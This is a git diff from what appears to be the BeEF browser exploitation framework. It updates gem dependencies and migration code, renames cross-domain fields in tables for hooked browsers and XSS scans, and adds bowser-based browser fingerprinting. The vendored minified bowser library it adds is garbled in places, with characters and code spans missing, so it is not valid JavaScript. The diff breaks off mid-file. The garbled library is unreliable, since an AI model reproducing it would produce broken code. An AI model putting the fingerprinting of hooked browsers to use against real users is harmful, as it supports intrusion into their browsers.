diff --git a/.github/workflows/github_actions.yml b/.github/workflows/github_actions.yml index f0c01959c6..7365335ccb 100644 --- a/.github/workflows/github_actions.yml +++ b/.github/workflows/github_actions.yml @@ -41,8 +41,7 @@ jobs: - name: 'Setting up Ruby' uses: ruby/setup-ruby@v1 - with: - ruby-version: 3.0.3 # Not needed with a .ruby-version file + # Ruby version is defined in .ruby-version file - name: 'Update and Install Dependencies' run: | diff --git a/Gemfile b/Gemfile index 76355a0586..b62de177dd 100644 --- a/Gemfile +++ b/Gemfile @@ -15,15 +15,16 @@ gem 'rack-protection', '~> 3.2.0' gem 'em-websocket', '~> 0.5.3' # WebSocket support gem 'uglifier', '~> 4.2' gem 'mime-types', '~> 3.6' -gem 'execjs', '~> 2.9' +gem 'execjs', '~> 2.10' gem 'ansi', '~> 1.5' gem 'term-ansicolor', :require => 'term/ansicolor' gem 'rubyzip', '~> 2.3' gem 'espeak-ruby', '~> 1.1.0' # Text-to-Voice gem 'rake', '~> 13.2' -gem 'otr-activerecord', '~> 2.2.0' -gem 'sqlite3', '~> 1.4' -gem 'rubocop', '~> 1.66.1', require: false +gem 'activerecord', '~> 7.2' +gem 'otr-activerecord', '~> 2.4.0' +gem 'sqlite3', '~> 2.2' +gem 'rubocop', '~> 1.68.0', require: false # Geolocation support group :geoip do @@ -78,7 +79,7 @@ group :test do # Note: selenium-webdriver 3.x is incompatible with Firefox version 48 and prior # gem 'selenium' # Requires old version of selenium which is no longer available gem 'geckodriver-helper', '~> 0.24.0' - gem 'selenium-webdriver', '~> 4.25' + gem 'selenium-webdriver', '~> 4.26' # Note: nokogiri is needed by capybara which may require one of the below commands # sudo apt-get install libxslt-dev libxml2-dev diff --git a/Gemfile.lock b/Gemfile.lock index 6f3e432b35..3ffa1bb789 100644 --- a/Gemfile.lock +++ b/Gemfile.lock @@ -1,22 +1,24 @@ GEM remote: https://rubygems.org/ specs: - activemodel (7.1.4) - activesupport (= 7.1.4) - activerecord (7.1.4) - activemodel (= 7.1.4) - activesupport (= 7.1.4) + activemodel (7.2.2) + activesupport (= 7.2.2) + activerecord (7.2.2) + activemodel (= 7.2.2) + activesupport (= 7.2.2) timeout (>= 0.4.0) - activesupport (7.1.4) + activesupport (7.2.2) base64 + benchmark (>= 0.3) bigdecimal - concurrent-ruby (~> 1.0, >= 1.0.2) + concurrent-ruby (~> 1.0, >= 1.3.1) connection_pool (>= 2.2.5) drb i18n (>= 1.6, < 2) + logger (>= 1.4.2) minitest (>= 5.1) - mutex_m - tzinfo (~> 2.0) + securerandom (>= 0.3) + tzinfo (~> 2.0, >= 2.0.5) addressable (2.8.7) public_suffix (>= 2.0.2, < 7.0) ansi (1.5.0) @@ -32,6 +34,7 @@ GEM async-io (1.43.2) async base64 (0.2.0) + benchmark (0.3.0) bigdecimal (3.1.8) browserstack-local (1.4.3) byebug (11.1.3) @@ -63,7 +66,7 @@ GEM espeak-ruby (1.1.0) event_emitter (0.2.6) eventmachine (1.2.7) - execjs (2.9.1) + execjs (2.10.0) fiber-annotation (0.2.0) fiber-local (1.1.0) fiber-storage @@ -84,7 +87,7 @@ GEM irb (1.14.1) rdoc (>= 4.0.0) reline (>= 0.4.2) - json (2.7.2) + json (2.7.6) language_server-protocol (3.17.0.3) logger (1.6.1) matrix (0.4.2) @@ -102,13 +105,12 @@ GEM msgpack (1.7.3) mustermann (3.0.3) ruby2_keywords (~> 0.0.1) - mutex_m (0.2.0) net-protocol (0.2.2) timeout net-smtp (0.5.0) net-protocol netrc (0.11.0) - nio4r (2.7.3) + nio4r (2.7.4) nokogiri (1.16.7-aarch64-linux) racc (~> 1.4) nokogiri (1.16.7-arm-linux) @@ -121,12 +123,12 @@ GEM racc (~> 1.4) nokogiri (1.16.7-x86_64-linux) racc (~> 1.4) - otr-activerecord (2.2.0) - activerecord (>= 4.0, < 7.2) + otr-activerecord (2.4.0) + activerecord (>= 6.0, < 7.3) hashie-forbidden_attributes (~> 0.1) parallel (1.26.3) parseconfig (1.1.2) - parser (3.3.5.0) + parser (3.3.5.1) ast (~> 2.4.1) racc power_assert (2.0.4) @@ -143,7 +145,7 @@ GEM mojo_magick (~> 0.6.5) rqrcode_core (~> 1.0) racc (1.8.1) - rack (2.2.9) + rack (2.2.10) rack-protection (3.2.0) base64 (>= 0.1.0) rack (~> 2.2, >= 2.2.4) @@ -161,14 +163,14 @@ GEM http-cookie (>= 1.0.2, < 2.0) mime-types (>= 1.16, < 4.0) netrc (~> 0.8) - rexml (3.3.8) + rexml (3.3.9) rqrcode_core (1.2.0) rr (3.1.1) rspec (3.13.0) rspec-core (~> 3.13.0) rspec-expectations (~> 3.13.0) rspec-mocks (~> 3.13.0) - rspec-core (3.13.1) + rspec-core (3.13.2) rspec-support (~> 3.13.0) rspec-expectations (3.13.3) diff-lcs (>= 1.2.0, < 2.0) @@ -177,7 +179,7 @@ GEM diff-lcs (>= 1.2.0, < 2.0) rspec-support (~> 3.13.0) rspec-support (3.13.1) - rubocop (1.66.1) + rubocop (1.68.0) json (~> 2.3) language_server-protocol (>= 3.17.0) parallel (~> 1.10) @@ -187,7 +189,7 @@ GEM rubocop-ast (>= 1.32.2, < 2.0) ruby-progressbar (~> 1.7) unicode-display_width (>= 2.4.0, < 3.0) - rubocop-ast (1.32.3) + rubocop-ast (1.33.1) parser (>= 3.3.1.0) ruby-progressbar (1.13.0) ruby2_keywords (0.0.5) @@ -195,7 +197,8 @@ GEM rushover (0.3.0) json rest-client - selenium-webdriver (4.25.0) + securerandom (0.3.1) + selenium-webdriver (4.26.0) base64 (~> 0.2) logger (~> 1.4) rexml (~> 3.2, >= 3.2.5) @@ -207,12 +210,12 @@ GEM rack-protection (= 3.2.0) tilt (~> 2.0) slack-notifier (2.4.0) - sqlite3 (1.7.3-aarch64-linux) - sqlite3 (1.7.3-arm-linux) - sqlite3 (1.7.3-arm64-darwin) - sqlite3 (1.7.3-x86-linux) - sqlite3 (1.7.3-x86_64-darwin) - sqlite3 (1.7.3-x86_64-linux) + sqlite3 (2.2.0-aarch64-linux-gnu) + sqlite3 (2.2.0-arm-linux-gnu) + sqlite3 (2.2.0-arm64-darwin) + sqlite3 (2.2.0-x86-linux-gnu) + sqlite3 (2.2.0-x86_64-darwin) + sqlite3 (2.2.0-x86_64-linux-gnu) stringio (3.1.1) sync (0.5.0) term-ansicolor (1.11.2) @@ -241,7 +244,7 @@ GEM tilt (2.4.0) timeout (0.4.1) timers (4.3.5) - tins (1.35.0) + tins (1.37.0) bigdecimal sync tzinfo (2.0.6) @@ -249,7 +252,7 @@ GEM uglifier (4.2.1) execjs (>= 0.3.0, < 3) unicode-display_width (2.6.0) - webrick (1.8.2) + webrick (1.9.0) websocket (1.2.11) websocket-client-simple (0.6.1) event_emitter @@ -268,6 +271,7 @@ PLATFORMS x86_64-linux DEPENDENCIES + activerecord (~> 7.2) ansi (~> 1.5) async (~> 1.32) async-dns (~> 1.3) @@ -278,7 +282,7 @@ DEPENDENCIES erubis (~> 2.7) espeak-ruby (~> 1.1.0) eventmachine (~> 1.2, >= 1.2.7) - execjs (~> 2.9) + execjs (~> 2.10) geckodriver-helper (~> 0.24.0) irb (~> 1.14) json @@ -286,7 +290,7 @@ DEPENDENCIES mime-types (~> 3.6) msfrpc-client (~> 1.1, >= 1.1.2) net-smtp - otr-activerecord (~> 2.2.0) + otr-activerecord (~> 2.4.0) parseconfig (~> 1.1, >= 1.1.2) pry-byebug (~> 3.10, >= 3.10.1) qr4r (~> 0.6.1) @@ -296,13 +300,13 @@ DEPENDENCIES rdoc (~> 6.7) rest-client (~> 2.1.0) rspec (~> 3.13) - rubocop (~> 1.66.1) + rubocop (~> 1.68.0) rubyzip (~> 2.3) rushover (~> 0.3.0) - selenium-webdriver (~> 4.25) + selenium-webdriver (~> 4.26) sinatra (~> 3.2) slack-notifier (~> 2.4) - sqlite3 (~> 1.4) + sqlite3 (~> 2.2) term-ansicolor test-unit-full (~> 0.0.5) thin (~> 1.8) diff --git a/beef b/beef index 7d8dd55b94..1341279270 100755 --- a/beef +++ b/beef @@ -194,7 +194,6 @@ end # Connect to DB ActiveRecord::Base.logger = nil -OTR::ActiveRecord.migrations_paths = [File.join('core', 'main', 'ar-migrations')] OTR::ActiveRecord.configure_from_hash!(adapter:'sqlite3', database:db_file) # otr-activerecord require you to manually establish the connection with the following line #Also a check to confirm that the correct Gem version is installed to require it, likely easier for old systems. @@ -204,10 +203,12 @@ end # Migrate (if required) ActiveRecord::Migration.verbose = false # silence activerecord migration stdout messages -context = ActiveRecord::Migration.new.migration_context +ActiveRecord::Migrator.migrations_paths = [File.join('core', 'main', 'ar-migrations')] +context = ActiveRecord::MigrationContext.new(ActiveRecord::Migrator.migrations_paths) if context.needs_migration? ActiveRecord::Migrator.new(:up, context.migrations, context.schema_migration, context.internal_metadata).migrate end + # # @note Extensions may take a moment to load, thus we print out a please wait message # diff --git a/core/filters/browser.rb b/core/filters/browser.rb index 109e8a8ae0..91c2b64089 100644 --- a/core/filters/browser.rb +++ b/core/filters/browser.rb @@ -46,7 +46,7 @@ def self.is_valid_browserversion?(str) return false if has_non_printable_char?(str) return true if str.eql? 'UNKNOWN' return true if str.eql? 'ALL' - return false if !nums_only?(str) and !is_valid_float?(str) + return false if !nums_only?(str) and !str.match(/\A(0|[1-9][0-9]{0,3})(\.(0|[1-9][0-9]{0,3})){0,3}\z/) return false if str.length > 20 true diff --git a/core/main/ar-migrations/015_create_http.rb b/core/main/ar-migrations/015_create_http.rb index aa3823f8b9..f178d49d41 100644 --- a/core/main/ar-migrations/015_create_http.rb +++ b/core/main/ar-migrations/015_create_http.rb @@ -4,8 +4,8 @@ def change t.text :hooked_browser_id # The http request to perform. In clear text. t.text :request - # Boolean value as string to say whether cross-domain requests are allowed - t.boolean :allow_cross_domain, default: true + # Boolean value as string to say whether cross-origin requests are allowed + t.boolean :allow_cross_origin, default: true # The http response body received. In clear text. t.text :response_data # The http response code. Useful to handle cases like 404, 500, 302, ... @@ -26,7 +26,7 @@ def change t.text :domain # The port on which perform the request. t.text :port - # Boolean value to say if the request was cross-domain + # Boolean value to say if the request was cross-origin t.text :has_ran, default: 'waiting' # The path of the request. # Example: /secret.html diff --git a/core/main/ar-migrations/025_create_xssrays_scan.rb b/core/main/ar-migrations/025_create_xssrays_scan.rb index 04bf642667..6f2bf4f814 100644 --- a/core/main/ar-migrations/025_create_xssrays_scan.rb +++ b/core/main/ar-migrations/025_create_xssrays_scan.rb @@ -5,7 +5,7 @@ def change t.datetime :scan_start t.datetime :scan_finish t.text :domain - t.text :cross_domain + t.text :cross_origin t.integer :clean_timeout t.boolean :is_started t.boolean :is_finished diff --git a/core/main/client/browser.js b/core/main/client/browser.js index d6db79f260..7c9697b22b 100644 --- a/core/main/client/browser.js +++ b/core/main/client/browser.js @@ -944,14 +944,25 @@ beef.browser = { */ isFF99: function () { return !!window.devicePixelRatio && !!window.history.replaceState && (this.getProtocol() == "https:" ? typeof navigator.mozGetUserMedia != "undefined" : true) && (typeof window.crypto != "undefined" && typeof window.crypto.getRandomValues != "undefined") && typeof Math.hypot == 'function' && typeof String.prototype.codePointAt === 'function' && typeof Number.isSafeInteger === 'function' && window.navigator.userAgent.match(/Firefox\/99./) != null; + }, + + /** + * Returns true if the browser is any version of Firefox. + * @example: beef.browser.isFFbowser() + */ + isFFbowser: function () { + const parser = bowser.getParser(navigator.userAgent); + const browserName = parser.getBrowserName(); + return browserName == 'Firefox'; }, /** - * Returns true if FF. + * Returns true if the browser is any version of Firefox. * @example: beef.browser.isFF() */ isFF: function () { - return this.isFF2() || this.isFF3() || this.isFF3_5() || this.isFF3_6() || this.isFF4() || this.isFF5() || this.isFF6() || this.isFF7() || this.isFF8() || this.isFF9() || this.isFF10() || this.isFF11() || this.isFF12() || this.isFF13() || this.isFF14() || this.isFF15() || this.isFF16() || this.isFF17() || this.isFF18() || this.isFF19() || this.isFF20() || this.isFF21() || this.isFF22() || this.isFF23() || this.isFF24() || this.isFF25() || this.isFF26() || this.isFF27() || this.isFF28() || this.isFF29() || this.isFF30() || this.isFF31() || this.isFF32() || this.isFF33() || this.isFF34() || this.isFF35() || this.isFF36() || this.isFF37() || this.isFF38() || this.isFF39() || this.isFF40() || this.isFF41() || this.isFF42() || this.isFF43() || this.isFF44() || this.isFF45() || this.isFF46() || this.isFF47() || this.isFF48() || this.isFF49() || this.isFF50() || this.isFF51() || this.isFF52() || this.isFF53() || this.isFF54() || this.isFF55() || this.isFF56() || this.isFF57() || this.isFF58()|| this.isFF59() || this.isFF60() || this.isFF61() || this.isFF62() || this.isFF63() || this.isFF64() || this.isFF65() || this.isFF66() || this.isFF67() || this.isFF68() || this.isFF69() || this.isFF70() || this.isFF71() || this.isFF72() || this.isFF73() || this.isFF74() || this.isFF75() || this.isFF76() || this.isFF77() || this.isFF78() || this.isFF79() || this.isFF80() || this.isFF81() || this.isFF82() || this.isFF83() || this.isFF84() || this.isFF85() || this.isFF86() || this.isFF87() || this.isFF88() || this.isFF89() || this.isFF90() || this.isFF91() || this.isFF92() || this.isFF93() || this.isFF94() || this.isFF95() || this.isFF96() || this.isFF97() || this.isFF98() || this.isFF99(); + var legacyCheck = this.isFF2() || this.isFF3() || this.isFF3_5() || this.isFF3_6() || this.isFF4() || this.isFF5() || this.isFF6() || this.isFF7() || this.isFF8() || this.isFF9() || this.isFF10() || this.isFF11() || this.isFF12() || this.isFF13() || this.isFF14() || this.isFF15() || this.isFF16() || this.isFF17() || this.isFF18() || this.isFF19() || this.isFF20() || this.isFF21() || this.isFF22() || this.isFF23() || this.isFF24() || this.isFF25() || this.isFF26() || this.isFF27() || this.isFF28() || this.isFF29() || this.isFF30() || this.isFF31() || this.isFF32() || this.isFF33() || this.isFF34() || this.isFF35() || this.isFF36() || this.isFF37() || this.isFF38() || this.isFF39() || this.isFF40() || this.isFF41() || this.isFF42() || this.isFF43() || this.isFF44() || this.isFF45() || this.isFF46() || this.isFF47() || this.isFF48() || this.isFF49() || this.isFF50() || this.isFF51() || this.isFF52() || this.isFF53() || this.isFF54() || this.isFF55() || this.isFF56() || this.isFF57() || this.isFF58()|| this.isFF59() || this.isFF60() || this.isFF61() || this.isFF62() || this.isFF63() || this.isFF64() || this.isFF65() || this.isFF66() || this.isFF67() || this.isFF68() || this.isFF69() || this.isFF70() || this.isFF71() || this.isFF72() || this.isFF73() || this.isFF74() || this.isFF75() || this.isFF76() || this.isFF77() || this.isFF78() || this.isFF79() || this.isFF80() || this.isFF81() || this.isFF82() || this.isFF83() || this.isFF84() || this.isFF85() || this.isFF86() || this.isFF87() || this.isFF88() || this.isFF89() || this.isFF90() || this.isFF91() || this.isFF92() || this.isFF93() || this.isFF94() || this.isFF95() || this.isFF96() || this.isFF97() || this.isFF98() || this.isFF99(); + return legacyCheck || this.isFFbowser(); }, /** @@ -2438,12 +2449,23 @@ beef.browser = { return (!window.webkitPerformance && window.navigator.appVersion.match(/CriOS\/(\d+)\./) != null) && ((parseInt(window.navigator.appVersion.match(/CriOS\/(\d+)\./)[1], 10) == 99) ? true : false); }, + /** + * Returns true for modern versions of Chrome (above 9). + * @example: beef.browser.isCbowser() + */ + isCbowser: function () { + const parser = bowser.getParser(navigator.userAgent); + const browserName = parser.getBrowserName(); + return browserName == 'Chrome'; + }, + /** * Returns true if Chrome. * @example: beef.browser.isC() */ isC: function () { - return this.isC5() || this.isC6() || this.isC7() || this.isC8() || this.isC9() || this.isC10() || this.isC11() || this.isC12() || this.isC13() || this.isC14() || this.isC15() || this.isC16() || this.isC17() || this.isC18() || this.isC19() || this.isC19iOS() || this.isC20() || this.isC20iOS() || this.isC21() || this.isC21iOS() || this.isC22() || this.isC22iOS() || this.isC23() || this.isC23iOS() || this.isC24() || this.isC24iOS() || this.isC25() || this.isC25iOS() || this.isC26() || this.isC26iOS() || this.isC27() || this.isC27iOS() || this.isC28() || this.isC28iOS() || this.isC29() || this.isC29iOS() || this.isC30() || this.isC30iOS() || this.isC31() || this.isC31iOS() || this.isC32() || this.isC32iOS() || this.isC33() || this.isC33iOS() || this.isC34() || this.isC34iOS() || this.isC35() || this.isC35iOS() || this.isC36() || this.isC36iOS() || this.isC37() || this.isC37iOS() || this.isC38() || this.isC38iOS() || this.isC39() || this.isC39iOS() || this.isC40() || this.isC40iOS() || this.isC41() || this.isC41iOS() || this.isC42() || this.isC42iOS() || this.isC43() || this.isC43iOS() || this.isC44() || this.isC44iOS() || this.isC45() || this.isC45iOS() || this.isC46() || this.isC46iOS() || this.isC47() || this.isC47iOS() || this.isC48() || this.isC48iOS() || this.isC49() || this.isC49iOS() || this.isC50() || this.isC50iOS() || this.isC51() || this.isC51iOS() || this.isC52() || this.isC52iOS() || this.isC53() || this.isC53iOS() || this.isC54() || this.isC54iOS() || this.isC55() || this.isC55iOS() || this.isC56() || this.isC56iOS() || this.isC57() || this.isC57iOS() || this.isC58() || this.isC58iOS() || this.isC59() || this.isC59iOS()|| this.isC60() || this.isC60iOS()|| this.isC61() || this.isC61iOS()|| this.isC62() || this.isC62iOS()|| this.isC63() || this.isC63iOS()|| this.isC64() || this.isC64iOS()|| this.isC65() || this.isC65iOS()|| this.isC66() || this.isC66iOS()|| this.isC67() || this.isC67iOS()|| this.isC68() || this.isC68iOS()|| this.isC69() || this.isC69iOS()|| this.isC70() || this.isC70iOS()|| this.isC71() || this.isC71iOS()|| this.isC72() || this.isC72iOS()|| this.isC73() || this.isC73iOS()|| this.isC74() || this.isC74iOS()|| this.isC75() || this.isC75iOS()|| this.isC76() || this.isC76iOS()|| this.isC77() || this.isC77iOS()|| this.isC78() || this.isC78iOS()|| this.isC79() || this.isC79iOS()|| this.isC80() || this.isC80iOS()|| this.isC81() || this.isC81iOS()|| this.isC82() || this.isC82iOS()|| this.isC83() || this.isC83iOS()|| this.isC84() || this.isC84iOS()|| this.isC85() || this.isC85iOS()|| this.isC86() || this.isC86iOS()|| this.isC87() || this.isC87iOS()|| this.isC88() || this.isC88iOS()|| this.isC89() || this.isC89iOS()|| this.isC90() || this.isC90iOS()|| this.isC91() || this.isC91iOS()|| this.isC92() || this.isC92iOS()|| this.isC93() || this.isC93iOS()|| this.isC94() || this.isC94iOS()|| this.isC95() || this.isC95iOS()|| this.isC96() || this.isC96iOS()|| this.isC97() || this.isC97iOS()|| this.isC98() || this.isC98iOS()|| this.isC99() || this.isC99iOS(); + var legacyCheck = this.isC5() || this.isC6() || this.isC7() || this.isC8() || this.isC9() || this.isC10() || this.isC11() || this.isC12() || this.isC13() || this.isC14() || this.isC15() || this.isC16() || this.isC17() || this.isC18() || this.isC19() || this.isC19iOS() || this.isC20() || this.isC20iOS() || this.isC21() || this.isC21iOS() || this.isC22() || this.isC22iOS() || this.isC23() || this.isC23iOS() || this.isC24() || this.isC24iOS() || this.isC25() || this.isC25iOS() || this.isC26() || this.isC26iOS() || this.isC27() || this.isC27iOS() || this.isC28() || this.isC28iOS() || this.isC29() || this.isC29iOS() || this.isC30() || this.isC30iOS() || this.isC31() || this.isC31iOS() || this.isC32() || this.isC32iOS() || this.isC33() || this.isC33iOS() || this.isC34() || this.isC34iOS() || this.isC35() || this.isC35iOS() || this.isC36() || this.isC36iOS() || this.isC37() || this.isC37iOS() || this.isC38() || this.isC38iOS() || this.isC39() || this.isC39iOS() || this.isC40() || this.isC40iOS() || this.isC41() || this.isC41iOS() || this.isC42() || this.isC42iOS() || this.isC43() || this.isC43iOS() || this.isC44() || this.isC44iOS() || this.isC45() || this.isC45iOS() || this.isC46() || this.isC46iOS() || this.isC47() || this.isC47iOS() || this.isC48() || this.isC48iOS() || this.isC49() || this.isC49iOS() || this.isC50() || this.isC50iOS() || this.isC51() || this.isC51iOS() || this.isC52() || this.isC52iOS() || this.isC53() || this.isC53iOS() || this.isC54() || this.isC54iOS() || this.isC55() || this.isC55iOS() || this.isC56() || this.isC56iOS() || this.isC57() || this.isC57iOS() || this.isC58() || this.isC58iOS() || this.isC59() || this.isC59iOS()|| this.isC60() || this.isC60iOS()|| this.isC61() || this.isC61iOS()|| this.isC62() || this.isC62iOS()|| this.isC63() || this.isC63iOS()|| this.isC64() || this.isC64iOS()|| this.isC65() || this.isC65iOS()|| this.isC66() || this.isC66iOS()|| this.isC67() || this.isC67iOS()|| this.isC68() || this.isC68iOS()|| this.isC69() || this.isC69iOS()|| this.isC70() || this.isC70iOS()|| this.isC71() || this.isC71iOS()|| this.isC72() || this.isC72iOS()|| this.isC73() || this.isC73iOS()|| this.isC74() || this.isC74iOS()|| this.isC75() || this.isC75iOS()|| this.isC76() || this.isC76iOS()|| this.isC77() || this.isC77iOS()|| this.isC78() || this.isC78iOS()|| this.isC79() || this.isC79iOS()|| this.isC80() || this.isC80iOS()|| this.isC81() || this.isC81iOS()|| this.isC82() || this.isC82iOS()|| this.isC83() || this.isC83iOS()|| this.isC84() || this.isC84iOS()|| this.isC85() || this.isC85iOS()|| this.isC86() || this.isC86iOS()|| this.isC87() || this.isC87iOS()|| this.isC88() || this.isC88iOS()|| this.isC89() || this.isC89iOS()|| this.isC90() || this.isC90iOS()|| this.isC91() || this.isC91iOS()|| this.isC92() || this.isC92iOS()|| this.isC93() || this.isC93iOS()|| this.isC94() || this.isC94iOS()|| this.isC95() || this.isC95iOS()|| this.isC96() || this.isC96iOS()|| this.isC97() || this.isC97iOS()|| this.isC98() || this.isC98iOS()|| this.isC99() || this.isC99iOS(); + return legacyCheck || this.isCbowser(); }, /** @@ -2486,12 +2508,23 @@ beef.browser = { return (!!window.opera && (window.navigator.userAgent.match(/Opera\/9\.80.*Version\/12\./) != null)); }, + /** + * Returns true if the browser is any version of Opera. + * @example: beef.browser.isObowser() + */ + isObowser: function () { + const parser = bowser.getParser(navigator.userAgent); + const browserName = parser.getBrowserName(); + return browserName == 'Opera'; + }, + /** * Returns true if Opera. * @example: beef.browser.isO() */ isO: function () { - return this.isO9_52() || this.isO9_60() || this.isO10() || this.isO11() || this.isO12(); + var legacyCheck = this.isO9_52() || this.isO9_60() || this.isO10() || this.isO11() || this.isO12(); + return legacyCheck || this.isObowser(); }, /** diff --git a/core/main/client/lib/bowser-2.11.0.min.js b/core/main/client/lib/bowser-2.11.0.min.js new file mode 100644 index 0000000000..5cb4fd54ce --- /dev/null +++ b/core/main/client/lib/bowser-2.11.0.min.js @@ -0,0 +1,7 @@ +!function(t,n){"object"==typeof exports&&"object"==typeof module?module.exports=n():"function"==typeof define&&define.amd?define([],n):"object"==typeof exports?exports.bowser=n():t.bowser=n()}(this,(function(){return function(t){var n={};function e(r){if(n[r])return n[r].exports;var i=n[r]={i:r,l:!1,exports:{}};return t[r].call(i.exports,i,i.exports,e),i.l=!0,i.exports}return e.m=t,e.c=n,e.d=function(t,n,r){e.o(t,n)||Object.defineProperty(t,n,{enumerable:!0,get:r})},e.r=function(t){"undefined"!=typeof Symbol&&Symbol.toStringTag&&Object.defineProperty(t,Symbol.toStringTag,{value:"Module"}),Object.defineProperty(t,"__esModule",{value:!0})},e.t=function(t,n){if(1&n&&(t=e(t)),8&n)return t;if(4&n&&"object"==typeof t&&t&&t.__esModule)return t;var r=Object.create(null);if(e.r(r),Object.defineProperty(r,"default",{enumerable:!0,value:t}),2&n&&"string"!=typeof t)for(var i in t)e.d(r,i,function(n){return t[n]}.bind(null,i));return r},e.n=function(t){var n=t&&t.__esModule?function(){return t.default}:function(){return t};return e.d(n,"a",n),n},e.o=function(t,n){return Object.prototype.hasOwnProperty.call(t,n)},e.p="",e(e.s=129)}([function(t,n,e){var r=e(1),i=e(7),o=e(14),u=e(11),a=e(19),c=function(t,n,e){var s,f,l,h,d=t&c.F,p=t&c.G,v=t&c.S,g=t&c.P,y=t&c.B,m=p?r:v?r[n]||(r[n]={}):(r[n]||{}).prototype,b=p?i:i[n]||(i[n]={}),S=b.prototype||(b.prototype={});for(s in p&&(e=n),e)l=((f=!d&&m&&void 0!==m[s])?m:e)[s],h=y&&f?a(l,r):g&&"function"==typeof l?a(Function.call,l):l,m&&u(m,s,l,t&c.U),b[s]!=l&&o(b,s,h),g&&S[s]!=l&&(S[s]=l)};r.core=i,c.F=1,c.G=2,c.S=4,c.P=8,c.B=16,c.W=32,c.U=64,c.R=128,t.exports=c},function(t,n){var e=t.exports="undefined"!=typeof window&&window.Math==Math?window:"undefined"!=typeof self&&self.Math==Math?self:Function("return this")();"number"==typeof __g&&(__g=e)},function(t,n){t.exports=function(t){try{return!!t()}catch(t){return!0}}},function(t,n,e){var r=e(4);t.exports=function(t){if(!r(t))throw TypeError(t+" is not an object!");return t}},function(t,n){t.exports=function(t){return"object"==typeof t?null!==t:"function"==typeof t}},function(t,n,e){var r=e(50)("wks"),i=e(31),o=e(1).Symbol,u="function"==typeof o;(t.exports=function(t){return r[t]||(r[t]=u&&o[t]||(u?o:i)("Symbol."+t))}).store=r},function(t,n,e){var r=e(21),i=Math.min;t.exports=function(t){return t>0?i(r(t),9007199254740991):0}},function(t,n){var e=t.exports={version:"2.6.12"};"number"==typeof __e&&(__e=e)},function(t,n,e){t.exports=!e(2)((function(){return 7!=Object.defineProperty({},"a",{get:function(){return 7}}).a}))},function(t,n,e){var r=e(3),i=e(96),o=e(28),u=Object.defineProperty;n.f=e(8)?Object.defineProperty:function(t,n,e){if(r(t),n=o(n,!0),r(e),i)try{return u(t,n,e)}catch(t){}if("get"in e||"set"in e)throw TypeError("Accessors not supported!");return"value"in e&&(t[n]=e.value),t}},function(t,n,e){var r=e(26);t.exports=function(t){return Object(r(t))}},function(t,n,e){var r=e(1),i=e(14),o=e(13),u=e(31)("src"),a=e(134),c=(""+a).split("toString");e(7).inspectSource=function(t){return a.call(t)},(t.exports=function(t,n,e,a){var s="function"==typeof e;s&&(o(e,"name")||i(e,"name",n)),t[n]!==e&&(s&&(o(e,u)||i(e,u,t[n]?""+t[n]:c.join(String(n)))),t===r?t[n]=e:a?t[n]?t[n]=e:i(t,n,e):(delete t[n],i(t,n,e)))})(Function.prototype,"toString",(function(){return"function"==typeof this&&this[u]||a.call(this)}))},function(t,n,e){var r=e(0),i=e(2),o=e(26),u=/"/g,a=function(t,n,e,r){var i=String(o(t)),a="<"+n;return""!==e&&(a+=" "+e+'="'+String(r).replace(u,""")+'"'),a+">"+i+""};t.exports=function(t,n){var e={};e[t]=n(a),r(r.P+r.F*i((function(){var n=""[t]('"');return n!==n.toLowerCase()||n.split('"').length>3})),"String",e)}},function(t,n){var e={}.hasOwnProperty;t.exports=function(t,n){return e.call(t,n)}},function(t,n,e){var r=e(9),i=e(30);t.exports=e(8)?function(t,n,e){return r.f(t,n,i(1,e))}:function(t,n,e){return t[n]=e,t}},function(t,n,e){var r=e(46),i=e(26);t.exports=function(t){return r(i(t))}},function(t,n,e){"use strict";var r=e(2);t.exports=function(t,n){return!!t&&r((function(){n?t.call(null,(function(){}),1):t.call(null)}))}},function(t,n,e){"use strict";n.__esModule=!0,n.default=void 0;var r=e(18);n.default=function(){function t(){}return t.getFirstMatch=function(t,n){var e=n.match(t);return e&&e.length>0&&e[1]||""},t.getSecondMatch=function(t,n){var e=n.match(t);return e&&e.length>1&&e[2]||""},t.matchAndReturnConst=function(t,n,e){if(t.test(n))return e},t.getWindowsVersionName=function(t){switch(t){case"NT":return"NT";case"XP":return"XP";case"NT 5.0":return"2000";case"NT 5.1":return"XP";case"NT 5.2":return"2003";case"NT 6.0":return"Vista";case"NT 6.1":return"7";case"NT 6.2":return"8";case"NT 6.3":return"8.1";case"NT 10.0":return"10";default:return}},t.getMacOSVersionName=function(t){var n=t.split(".").splice(0,2).map((function(t){return parseInt(t,10)||0}));if(n.push(0),10===n[0])switch(n[1]){case 5:return"Leopard";case 6:return"Snow Leopard";case 7:return"Lion";case 8:return"Mountain Lion";case 9:return"Mavericks";case 10:return"Yosemite";case 11:return"El Capitan";case 12:return"Sierra";case 13:return"High Sierra";case 14:return"Mojave";case 15:return"Catalina";default:return}},t.getAndroidVersionName=function(t){var n=t.split(".").splice(0,2).map((function(t){return parseInt(t,10)||0}));if(n.push(0),!(1===n[0]&&n[1]<5))return 1===n[0]&&n[1]<6?"Cupcake":1===n[0]&&n[1]>=6?"Donut":2===n[0]&&n[1]<2?"Eclair":2===n[0]&&2===n[1]?"Froyo":2===n[0]&&n[1]>2?"Gingerbread":3===n[0]?"Honeycomb":4===n[0]&&n[1]<1?"Ice Cream Sandwich":4===n[0]&&n[1]<4?"Jelly Bean":4===n[0]&&n[1]>=4?"KitKat":5===n[0]?"Lollipop":6===n[0]?"Marshmallow":7===n[0]?"Nougat":8===n[0]?"Oreo":9===n[0]?"Pie":void 0},t.getVersionPrecision=function(t){return t.split(".").length},t.compareVersions=function(n,e,r){void 0===r&&(r=!1);var i=t.getVersionPrecision(n),o=t.getVersionPrecision(e),u=Math.max(i,o),a=0,c=t.map([n,e],(function(n){var e=u-t.getVersionPrecision(n),r=n+new Array(e+1).join(".0");return t.map(r.split("."),(function(t){return new Array(20-t.length).join("0")+t})).reverse()}));for(r&&(a=u-Math.min(i,o)),u-=1;u>=a;){if(c[0][u]>c[1][u])return 1;if(c[0][u]===c[1][u]){if(u===a)return 0;u-=1}else if(c[0][u]1?i-1:0),u=1;u0?r:e)(t)}},function(t,n,e){var r=e(47),i=e(30),o=e(15),u=e(28),a=e(13),c=e(96),s=Object.getOwnPropertyDescriptor;n.f=e(8)?s:function(t,n){if(t=o(t),n=u(n,!0),c)try{return s(t,n)}catch(t){}if(a(t,n))return i(!r.f.call(t,n),t[n])}},function(t,n,e){var r=e(0),i=e(7),o=e(2);t.exports=function(t,n){var e=(i.Object||{})[t]||Object[t],u={};u[t]=n(e),r(r.S+r.F*o((function(){e(1)})),"Object",u)}},function(t,n,e){var 